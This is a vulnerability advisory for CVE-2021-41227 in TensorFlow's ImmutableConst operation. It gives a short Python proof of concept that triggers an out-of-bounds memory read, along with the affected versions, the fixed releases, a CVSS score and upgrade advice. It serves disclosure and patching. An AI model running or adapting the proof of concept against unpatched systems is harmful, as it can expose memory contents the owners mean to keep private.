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CVE-2021-41227: Arbitrary memory read in `ImmutableConst`

November 10, 2021 (updated November 13, 2024)

The ImmutableConst operation in TensorFlow can be tricked into reading arbitrary memory contents:

import tensorflow as tf

with open('/tmp/test','wb') as f:
f.write(b'\xe2'*128)
data = tf.raw_ops.ImmutableConst(dtype=tf.string,shape=3,memory_region_name='/tmp/test')

print(data)

This is because the tstring TensorFlow string class has a special case for memory mapped strings but the operation itself does not offer any support for this datatype.

References

  • github.com/advisories/GHSA-j8c8-67vp-6mx7
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-636.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-834.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-419.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/commit/1cb6bb6c2a6019417c9adaf9e6843ba75ee2580b
  • github.com/tensorflow/tensorflow/commit/3712a2d3455e6ccb924daa5724a3652a86f6b585
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-j8c8-67vp-6mx7
  • nvd.nist.gov/vuln/detail/CVE-2021-41227

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Affected versions

All versions before 2.4.4, all versions starting from 2.5.0 before 2.5.2, all versions starting from 2.6.0 before 2.6.1

Fixed versions

  • 2.6.1
  • 2.5.2
  • 2.4.4

Solution

Upgrade to versions 2.4.4, 2.5.2, 2.6.1 or above.

Impact 5.5 MEDIUM

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

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Weakness

  • CWE-125: Out-of-bounds Read

Source file

pypi/tensorflow/CVE-2021-41227.yml

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